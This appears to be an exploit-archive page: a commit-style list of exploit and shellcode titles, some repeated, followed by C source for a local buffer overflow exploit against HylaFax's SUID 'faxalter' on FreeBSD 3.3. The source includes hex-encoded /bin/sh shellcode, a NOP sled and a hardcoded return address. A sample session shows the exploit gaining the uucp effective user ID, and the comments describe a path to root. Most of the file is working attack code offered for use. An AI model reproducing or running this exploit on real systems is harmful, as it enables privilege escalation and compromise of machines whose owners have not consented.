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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
64 lines
No EOL
2.3 KiB
C
64 lines
No EOL
2.3 KiB
C
// source: https://www.securityfocus.com/bid/765/info
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Hylafax is a popular fax server software package designed to run on multiple UNIX operating systems. Some versions of Hylafax ship with a vulnerable sub program 'faxalter'. This program is installed SUID UUCP and has a buffer overflow which if exploited will allow a malicious user to gain UUCP privileges.
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Because the important programs are executed as root, such as Minicom (a popular modem terminal program) or cu(1) and are in the UUCP group and therefore writable by the same group they could be trojaned by the attacker. A successful scenario in this event would lead to a root compromise.
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/* EXPLOIT
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bash-2.03$ uname -a; ls -la `which faxalter`; id
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FreeBSD 3.3-RELEASE FreeBSD 3.3-RELEASE #0: Thu Sep 16 23:40:35 GMT
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1999
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jkh@highwing.cdrom.com:/usr/src/sys/compile/GENERIC i386
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-r-sr-xr-x 1 uucp bin 72332 Sep 11 03:32 /usr/local/bin/faxalter
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uid=1000(xnec) gid=1000(xnec) groups=1000(xnec), 0(wheel)
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bash-2.03$ /home/xnec/faxalterx
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$ id
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uid=1000(xnec) euid=66(uucp) gid=1000(xnec) groups=1000(xnec), 0(wheel)
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$
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*/
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/*
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* Faxalter exploit for FreeBSD 3.3/hylafax-4.0.2 yields euid=66(uucp)
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* Brock Tellier btellier@usa.net
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*/
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#include <stdio.h>
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char shell[]= /* mudge@lopht.com */
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"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
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"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
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"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
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"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
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main (int argc, char *argv[] ) {
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int x = 0;
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int y = 0;
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int offset = 0;
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int bsize = 4093; /* overflowed buf's bytes + 4(ebp) + 4(eip) + 1 */
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char buf[bsize];
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int eip = 0xbfbfcfad;
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if (argv[1]) {
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offset = atoi(argv[1]);
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eip = eip + offset;
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}
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fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);
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for ( x = 0; x < 4021; x++) buf[x] = 0x90;
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fprintf(stderr, "NOPs to %d\n", x);
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for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
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fprintf(stderr, "Shellcode to %d\n",x);
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buf[x++] = eip & 0x000000ff;
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buf[x++] = (eip & 0x0000ff00) >> 8;
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buf[x++] = (eip & 0x00ff0000) >> 16;
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buf[x++] = (eip & 0xff000000) >> 24;
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fprintf(stderr, "eip to %d\n",x);
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buf[bsize - 1]='\0';
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execl("/usr/local/bin/faxalter", "faxalter", "-m", buf, NULL);
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} |